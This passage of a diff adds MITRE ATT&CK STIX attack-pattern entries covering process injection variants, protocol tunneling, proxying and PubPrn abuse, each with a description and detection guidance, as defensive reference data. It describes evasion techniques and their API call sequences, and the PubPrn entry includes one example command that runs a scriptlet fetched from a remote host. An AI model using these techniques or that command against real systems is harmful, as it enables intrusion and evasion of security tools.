"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "type": "attack-pattern", + "modified": "2020-01-14T17:23:25.111Z", + "name": "Process Doppelg\u00e4nging", + "created": "2018-01-16T16:13:52.465Z", + "id": "attack-pattern--c1a452f3-6499-4c12-b7e9-a6a0a102af76", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1186", + "external_id": "T1186", + "source_name": "mitre-attack" + }, + { + "source_name": "Microsoft TxF", + "description": "Microsoft. (n.d.). Transactional NTFS (TxF). Retrieved December 20, 2017.", + "url": "https://msdn.microsoft.com/library/windows/desktop/bb968806.aspx" + }, + { + "source_name": "Microsoft Basic TxF Concepts", + "description": "Microsoft. (n.d.). Basic TxF Concepts. Retrieved December 20, 2017.", + "url": "https://msdn.microsoft.com/library/windows/desktop/dd979526.aspx" + }, + { + "source_name": "Microsoft Where to use TxF", + "description": "Microsoft. (n.d.). When to Use Transactional NTFS. Retrieved December 20, 2017.", + "url": "https://msdn.microsoft.com/library/windows/desktop/aa365738.aspx" + }, + { + "source_name": "BlackHat Process Doppelg\u00e4nging Dec 2017", + "description": "Liberman, T. & Kogan, E. (2017, December 7). Lost in Transaction: Process Doppelg\u00e4nging. Retrieved December 20, 2017.", + "url": "https://www.blackhat.com/docs/eu-17/materials/eu-17-Liberman-Lost-In-Transaction-Process-Doppelganging.pdf" + }, + { + "source_name": "hasherezade Process Doppelg\u00e4nging Dec 2017", + "description": "hasherezade. (2017, December 18). Process Doppelg\u00e4nging \u2013 a new way to impersonate a process. Retrieved December 20, 2017.", + "url": "https://hshrzd.wordpress.com/2017/12/18/process-doppelganging-a-new-way-to-impersonate-a-process/" + }, + { + "source_name": "Microsoft PsSetCreateProcessNotifyRoutine routine", + "description": "Microsoft. (n.d.). PsSetCreateProcessNotifyRoutine routine. Retrieved December 20, 2017.", + "url": "https://msdn.microsoft.com/library/windows/hardware/ff559951.aspx" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Process Doppelg\u00e4nging", + "x_mitre_data_sources": [ + "Process: OS API Execution", + "File: File Metadata" + ], + "x_mitre_version": "1.0", + "modified": "2021-02-09T15:43:48.848Z", + "created": "2020-01-14T17:19:50.978Z", + "id": "attack-pattern--7007935a-a8a7-4c0b-bd98-4e85be8ed197", + "x_mitre_defense_bypassed": [ + "Anti-virus", + "Application control" + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "Administrator", + "SYSTEM", + "User" + ], + "description": "Adversaries may inject malicious code into process via process doppelg\u00e4nging in order to evade process-based defenses as well as possibly elevate privileges. Process doppelg\u00e4nging is a method of executing arbitrary code in the address space of a separate live process. \n\nWindows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations. (Citation: Microsoft TxF) To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time. Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened. (Citation: Microsoft Basic TxF Concepts) To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction. (Citation: Microsoft Where to use TxF)\n\nAlthough deprecated, the TxF application programming interface (API) is still enabled as of Windows 10. (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017)\n\nAdversaries may abuse TxF to a perform a file-less variation of [Process Injection](https://attack.mitre.org/techniques/T1055). Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012), process doppelg\u00e4nging involves replacing the memory of a legitimate process, enabling the veiled execution of malicious code that may evade defenses and detection. Process doppelg\u00e4nging's use of TxF also avoids the use of highly-monitored API functions such as NtUnmapViewOfSection, VirtualProtectEx, and SetThreadContext. (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017)\n\nProcess Doppelg\u00e4nging is implemented in 4 steps (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017):\n\n* Transact \u2013 Create a TxF transaction using a legitimate executable then overwrite the file with malicious code. These changes will be isolated and only visible within the context of the transaction.\n* Load \u2013 Create a shared section of memory and load the malicious executable.\n* Rollback \u2013 Undo changes to original executable, effectively removing malicious code from the file system.\n* Animate \u2013 Create a process from the tainted section of memory and initiate execution.\n\nThis behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process doppelg\u00e4nging may evade detection from security products since the execution is masked under a legitimate process. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "x_mitre_detection": "Monitor and analyze calls to CreateTransaction, CreateFileTransacted, RollbackTransaction, and other rarely used functions indicative of TxF activity. Process Doppelg\u00e4nging also invokes an outdated and undocumented implementation of the Windows process loader via calls to NtCreateProcessEx and NtCreateThreadEx as well as API calls used to modify memory within another process, such as WriteProcessMemory. (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017) (Citation: hasherezade Process Doppelg\u00e4nging Dec 2017)\n\nScan file objects reported during the PsSetCreateProcessNotifyRoutine, (Citation: Microsoft PsSetCreateProcessNotifyRoutine routine) which triggers a callback whenever a process is created or deleted, specifically looking for file objects with enabled write access. (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017) Also consider comparing file objects loaded in memory to the corresponding file on disk. (Citation: hasherezade Process Doppelg\u00e4nging Dec 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1055/013", + "external_id": "T1055.013", + "source_name": "mitre-attack" + }, + { + "source_name": "Microsoft TxF", + "description": "Microsoft. (n.d.). Transactional NTFS (TxF). Retrieved December 20, 2017.", + "url": "https://msdn.microsoft.com/library/windows/desktop/bb968806.aspx" + }, + { + "source_name": "Microsoft Basic TxF Concepts", + "description": "Microsoft. (n.d.). Basic TxF Concepts. Retrieved December 20, 2017.", + "url": "https://msdn.microsoft.com/library/windows/desktop/dd979526.aspx" + }, + { + "source_name": "Microsoft Where to use TxF", + "description": "Microsoft. (n.d.). When to Use Transactional NTFS. Retrieved December 20, 2017.", + "url": "https://msdn.microsoft.com/library/windows/desktop/aa365738.aspx" + }, + { + "source_name": "BlackHat Process Doppelg\u00e4nging Dec 2017", + "description": "Liberman, T. & Kogan, E. (2017, December 7). Lost in Transaction: Process Doppelg\u00e4nging. Retrieved December 20, 2017.", + "url": "https://www.blackhat.com/docs/eu-17/materials/eu-17-Liberman-Lost-In-Transaction-Process-Doppelganging.pdf" + }, + { + "source_name": "hasherezade Process Doppelg\u00e4nging Dec 2017", + "description": "hasherezade. (2017, December 18). Process Doppelg\u00e4nging \u2013 a new way to impersonate a process. Retrieved December 20, 2017.", + "url": "https://hshrzd.wordpress.com/2017/12/18/process-doppelganging-a-new-way-to-impersonate-a-process/" + }, + { + "source_name": "Microsoft PsSetCreateProcessNotifyRoutine routine", + "description": "Microsoft. (n.d.). PsSetCreateProcessNotifyRoutine routine. Retrieved December 20, 2017.", + "url": "https://msdn.microsoft.com/library/windows/hardware/ff559951.aspx" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-11-10T18:29:30.437Z", + "name": "Process Hollowing", + "created": "2017-05-31T21:31:09.815Z", + "id": "attack-pattern--1c338d0f-a65e-4073-a5c1-c06878849f21", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1093", + "external_id": "T1093", + "source_name": "mitre-attack" + }, + { + "source_name": "Leitch Hollowing", + "description": "Leitch, J. (n.d.). Process Hollowing. Retrieved November 12, 2014.", + "url": "http://www.autosectools.com/process-hollowing.pdf" + }, + { + "source_name": "Elastic Process Injection July 2017", + "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", + "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Process Hollowing", + "x_mitre_data_sources": [ + "Process: Process Modification", + "Process: OS API Execution", + "Process: Process Access" + ], + "x_mitre_version": "1.1", + "modified": "2021-10-18T12:30:14.640Z", + "created": "2020-01-14T17:21:54.470Z", + "id": "attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4", + "x_mitre_defense_bypassed": [ + "Application control", + "Anti-virus" + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "User" + ], + "description": "Adversaries may inject malicious code into suspended and hollowed processes in order to evade process-based defenses. Process hollowing is a method of executing arbitrary code in the address space of a separate live process. \n\nProcess hollowing is commonly performed by creating a process in a suspended state then unmapping/hollowing its memory, which can then be replaced with malicious code. A victim process can be created with native Windows API calls such as CreateProcess, which includes a flag to suspend the processes primary thread. At this point the process can be unmapped using APIs calls such as ZwUnmapViewOfSection or NtUnmapViewOfSection before being written to, realigned to the injected code, and resumed via VirtualAllocEx, WriteProcessMemory, SetThreadContext, then ResumeThread respectively.(Citation: Leitch Hollowing)(Citation: Elastic Process Injection July 2017)\n\nThis is very similar to [Thread Local Storage](https://attack.mitre.org/techniques/T1055/005) but creates a new process rather than targeting an existing process. This behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process hollowing may also evade detection from security products since the execution is masked under a legitimate process. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "x_mitre_detection": "Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1055/012", + "external_id": "T1055.012", + "source_name": "mitre-attack" + }, + { + "source_name": "Leitch Hollowing", + "description": "Leitch, J. (n.d.). Process Hollowing. Retrieved November 12, 2014.", + "url": "http://www.autosectools.com/process-hollowing.pdf" + }, + { + "source_name": "Elastic Process Injection July 2017", + "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", + "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Process Injection", + "x_mitre_data_sources": [ + "Process: Process Modification", + "Module: Module Load", + "Process: OS API Execution", + "Process: Process Access", + "File: File Modification", + "File: File Metadata" + ], + "x_mitre_version": "1.2", + "modified": "2021-10-18T12:30:14.852Z", + "created": "2017-05-31T21:30:47.843Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "x_mitre_defense_bypassed": [ + "Application control", + "Anti-virus" + ], + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "description": "Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process. \n\nThere are many different ways to inject code into a process, many of which abuse legitimate functionalities. These implementations exist for every major OS but are typically platform specific. \n\nMore sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel. ", + "x_mitre_contributors": [ + "Anastasios Pingios", + "Christiaan Beek, @ChristiaanBeek", + "Ryan Becwar" + ], + "x_mitre_detection": "Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, QueueUserAPC/NtQueueApcThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017) \n\nMonitor DLL/PE file events, specifically creation of these binary files as well as the loading of DLLs into processes. Look for DLLs that are not recognized or not normally loaded into a process. \n\nMonitoring for Linux specific calls such as the ptrace system call should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods.(Citation: ArtOfMemoryForensics) (Citation: GNU Acct) (Citation: RHEL auditd) (Citation: Chokepoint preload rootkits) \n\nMonitor for named pipe creation and connection events (Event IDs 17 and 18) for possible indicators of infected processes with external modules.(Citation: Microsoft Sysmon v6 May 2017) \n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1055", + "external_id": "T1055", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/640.html", + "external_id": "CAPEC-640", + "source_name": "capec" + }, + { + "source_name": "Elastic Process Injection July 2017", + "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", + "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process" + }, + { + "description": "Ligh, M.H. et al.. (2014, July). The Art of Memory Forensics: Detecting Malware and Threats in Windows, Linux, and Mac Memory. Retrieved December 20, 2017.", + "source_name": "ArtOfMemoryForensics" + }, + { + "source_name": "GNU Acct", + "description": "GNU. (2010, February 5). The GNU Accounting Utilities. Retrieved December 20, 2017.", + "url": "https://www.gnu.org/software/acct/" + }, + { + "source_name": "RHEL auditd", + "description": "Jahoda, M. et al.. (2017, March 14). redhat Security Guide - Chapter 7 - System Auditing. Retrieved December 20, 2017.", + "url": "https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing" + }, + { + "source_name": "Chokepoint preload rootkits", + "description": "stderr. (2014, February 14). Detecting Userland Preload Rootkits. Retrieved December 20, 2017.", + "url": "http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html" + }, + { + "source_name": "Microsoft Sysmon v6 May 2017", + "description": "Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved December 13, 2017.", + "url": "https://docs.microsoft.com/sysinternals/downloads/sysmon" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-03-15T00:40:27.503Z", + "name": "Protocol Impersonation", + "x_mitre_data_sources": [ + "Network Traffic: Network Traffic Content" + ], + "x_mitre_version": "1.0", + "created": "2020-03-15T00:40:27.503Z", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--c325b232-d5bc-4dde-a3ec-71f3db9e8adc", + "description": "Adversaries may impersonate legitimate protocols or web service traffic to disguise command and control activity and thwart analysis efforts. By impersonating legitimate protocols or web services, adversaries can make their command and control traffic blend in with legitimate network traffic. \n\nAdversaries may impersonate a fake SSL/TLS handshake to make it look like subsequent traffic is SSL/TLS encrypted, potentially interfering with some security tooling, or to make the traffic look like it is related with a trusted entity. ", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1001/003", + "external_id": "T1001.003", + "source_name": "mitre-attack" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-03-27T17:15:35.372Z", + "name": "Protocol Tunneling", + "x_mitre_data_sources": [ + "Network Traffic: Network Traffic Flow", + "Network Traffic: Network Connection Creation", + "Network Traffic: Network Traffic Content" + ], + "x_mitre_version": "1.0", + "created": "2020-03-15T16:03:39.082Z", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--4fe28b27-b13c-453e-a386-c2ef362a573b", + "description": "Adversaries may tunnel network communications to and from a victim system within a separate protocol to avoid detection/network filtering and/or enable access to otherwise unreachable systems. Tunneling involves explicitly encapsulating a protocol within another. This behavior may conceal malicious traffic by blending in with existing traffic and/or provide an outer layer of encryption (similar to a VPN). Tunneling could also enable routing of network packets that would otherwise not reach their intended destination, such as SMB, RDP, or other traffic that would be filtered by network appliances or not routed over the Internet. \n\nThere are various means to encapsulate a protocol within another protocol. For example, adversaries may perform SSH tunneling (also known as SSH port forwarding), which involves forwarding arbitrary data over an encrypted SSH tunnel.(Citation: SSH Tunneling) \n\n[Protocol Tunneling](https://attack.mitre.org/techniques/T1572) may also be abused by adversaries during [Dynamic Resolution](https://attack.mitre.org/techniques/T1568). Known as DNS over HTTPS (DoH), queries to resolve C2 infrastructure may be encapsulated within encrypted HTTPS packets.(Citation: BleepingComp Godlua JUL19) \n\nAdversaries may also leverage [Protocol Tunneling](https://attack.mitre.org/techniques/T1572) in conjunction with [Proxy](https://attack.mitre.org/techniques/T1090) and/or [Protocol Impersonation](https://attack.mitre.org/techniques/T1001/003) to further conceal C2 communications and infrastructure. ", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "x_mitre_detection": "Monitoring for systems listening and/or establishing external connections using ports/protocols commonly associated with tunneling, such as SSH (port 22). Also monitor for processes commonly associated with tunneling, such as Plink and the OpenSSH client. \n\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards regarding syntax, structure, or any other variable adversaries could leverage to conceal data.(Citation: University of Birmingham C2)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1572", + "external_id": "T1572", + "source_name": "mitre-attack" + }, + { + "url": "https://www.ssh.com/ssh/tunneling", + "description": "SSH.COM. (n.d.). SSH tunnel. Retrieved March 15, 2020.", + "source_name": "SSH Tunneling" + }, + { + "url": "https://www.bleepingcomputer.com/news/security/new-godlua-malware-evades-traffic-monitoring-via-dns-over-https/", + "description": "Gatlan, S. (2019, July 3). New Godlua Malware Evades Traffic Monitoring via DNS over HTTPS. Retrieved March 15, 2020.", + "source_name": "BleepingComp Godlua JUL19" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Proxy", + "x_mitre_data_sources": [ + "Network Traffic: Network Traffic Flow", + "Network Traffic: Network Connection Creation", + "Network Traffic: Network Traffic Content" + ], + "x_mitre_version": "3.1", + "modified": "2021-08-30T19:16:11.648Z", + "created": "2017-05-31T21:31:08.479Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "Network" + ], + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea", + "description": "Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use these types of proxies to manage command and control communications, reduce the number of simultaneous outbound network connections, provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. Adversaries may chain together multiple proxies to further disguise the source of malicious traffic.\n\nAdversaries can also take advantage of routing schemes in Content Delivery Networks (CDNs) to proxy command and control traffic.", + "x_mitre_contributors": [ + "Jon Sheedy", + "Heather Linn", + "Walker Johnson" + ], + "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server or between clients that should not or often do not communicate with one another). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nConsider monitoring for traffic to known anonymity networks (such as [Tor](https://attack.mitre.org/software/S0183)).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1090", + "external_id": "T1090", + "source_name": "mitre-attack" + }, + { + "source_name": "Trend Micro APT Attack Tools", + "description": "Wilhoit, K. (2013, March 4). In-Depth Look: APT Attack Tools of the Trade. Retrieved December 2, 2015.", + "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Ptrace System Calls", + "x_mitre_data_sources": [ + "Process: Process Modification", + "Process: OS API Execution", + "Process: Process Access" + ], + "x_mitre_version": "1.1", + "modified": "2021-10-18T12:26:31.766Z", + "created": "2020-01-14T01:33:19.065Z", + "x_mitre_defense_bypassed": [ + "Anti-virus", + "Application control" + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--ea016b56-ae0e-47fe-967a-cc0ad51af67f", + "description": "Adversaries may inject malicious code into processes via ptrace (process trace) system calls in order to evade process-based defenses as well as possibly elevate privileges. Ptrace system call injection is a method of executing arbitrary code in the address space of a separate live process. \n\nPtrace system call injection involves attaching to and modifying a running process. The ptrace system call enables a debugging process to observe and control another process (and each individual thread), including changing memory and register values.(Citation: PTRACE man) Ptrace system call injection is commonly performed by writing arbitrary code into a running process (ex: malloc) then invoking that memory with PTRACE_SETREGS to set the register containing the next instruction to execute. Ptrace system call injection can also be done with PTRACE_POKETEXT/PTRACE_POKEDATA, which copy data to a specific address in the target processes\u2019 memory (ex: the current address of the next instruction). (Citation: PTRACE man)(Citation: Medium Ptrace JUL 2018) \n\nPtrace system call injection may not be possible targeting processes that are non-child processes and/or have higher-privileges.(Citation: BH Linux Inject) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via ptrace system call injection may also evade detection from security products since the execution is masked under a legitimate process. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "x_mitre_detection": "Monitoring for Linux specific calls such as the ptrace system call should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods.(Citation: ArtOfMemoryForensics) (Citation: GNU Acct) (Citation: RHEL auditd) (Citation: Chokepoint preload rootkits) \n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1055/008", + "external_id": "T1055.008", + "source_name": "mitre-attack" + }, + { + "url": "http://man7.org/linux/man-pages/man2/ptrace.2.html", + "description": "Kerrisk, M. (2020, February 9). PTRACE(2) - Linux Programmer's Manual. Retrieved February 21, 2020.", + "source_name": "PTRACE man" + }, + { + "url": "https://medium.com/@jain.sm/code-injection-in-running-process-using-ptrace-d3ea7191a4be", + "description": "Jain, S. (2018, July 25). Code injection in running process using ptrace. Retrieved February 21, 2020.", + "source_name": "Medium Ptrace JUL 2018" + }, + { + "url": "https://github.com/gaffe23/linux-inject/blob/master/slides_BHArsenal2015.pdf", + "description": "Colgan, T. (2015, August 15). Linux-Inject. Retrieved February 21, 2020.", + "source_name": "BH Linux Inject" + }, + { + "description": "Ligh, M.H. et al.. (2014, July). The Art of Memory Forensics: Detecting Malware and Threats in Windows, Linux, and Mac Memory. Retrieved December 20, 2017.", + "source_name": "ArtOfMemoryForensics" + }, + { + "source_name": "GNU Acct", + "description": "GNU. (2010, February 5). The GNU Accounting Utilities. Retrieved December 20, 2017.", + "url": "https://www.gnu.org/software/acct/" + }, + { + "source_name": "RHEL auditd", + "description": "Jahoda, M. et al.. (2017, March 14). redhat Security Guide - Chapter 7 - System Auditing. Retrieved December 20, 2017.", + "url": "https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing" + }, + { + "source_name": "Chokepoint preload rootkits", + "description": "stderr. (2014, February 14). Detecting Userland Preload Rootkits. Retrieved December 20, 2017.", + "url": "http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "PubPrn", + "x_mitre_data_sources": [ + "Process: Process Creation", + "Command: Command Execution", + "Script: Script Execution" + ], + "x_mitre_version": "1.1", + "modified": "2021-09-01T00:57:01.161Z", + "created": "2020-02-03T16:49:57.788Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "id": "attack-pattern--09cd431f-eaf4-4d2a-acaf-2a7acfe7ed58", + "x_mitre_defense_bypassed": [ + "Digital Certificate Validation", + "Application Control" + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "User" + ], + "description": "Adversaries may use PubPrn to proxy execution of malicious remote files. PubPrn.vbs is a [Visual Basic](https://attack.mitre.org/techniques/T1059/005) script that publishes a printer to Active Directory Domain Services. The script is signed by Microsoft and is commonly executed through the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) via Cscript.exe. For example, the following code publishes a printer within the specified domain: cscript pubprn Printer1 LDAP://CN=Container1,DC=Domain1,DC=Com.(Citation: pubprn)\n\nAdversaries may abuse PubPrn to execute malicious payloads hosted on remote sites.(Citation: Enigma0x3 PubPrn Bypass) To do so, adversaries may set the second script: parameter to reference a scriptlet file (.sct) hosted on a remote site. An example command is pubprn.vbs 127.0.0.1 script:https://mydomain.com/folder/file.sct. This behavior may bypass signature validation restrictions and application control solutions that do not account for abuse of this script.\n\nIn later versions of Windows (10+), PubPrn.vbs has been updated to prevent proxying execution from a remote site. This is done by limiting the protocol specified in the second parameter to LDAP://, vice the script: moniker which could be used to reference remote code via HTTP(S).", + "x_mitre_contributors": [ + "Atul Nair, Qualys" + ], + "x_mitre_detection": "Monitor script processes, such as `cscript`, and command-line parameters for scripts like PubPrn.vbs that may be used to proxy execution of malicious files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1216/001", + "external_id": "T1216.001", + "source_name": "mitre-attack" + }, + { + "url": "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/pubprn", + "description": "Jason Gerend. (2017, October 16). pubprn. Retrieved July 23, 2021.", + "source_name": "pubprn" + }, + { + "source_name": "Enigma0x3 PubPrn Bypass", + "description": "Nelson, M. (2017, August 3). WSH INJECTION: A CASE STUDY. Retrieved April 9, 2018.", + "url": "https://enigma0x3.net/2017/08/03/wsh-injection-a-case-study/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Purchase Technical Data", + "x_mitre_version": "1.0", + "modified": "2021-04-15T03:44:43.900Z", + "created": "2020-10-02T17:05:43.562Z", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_is_subtechnique": true, 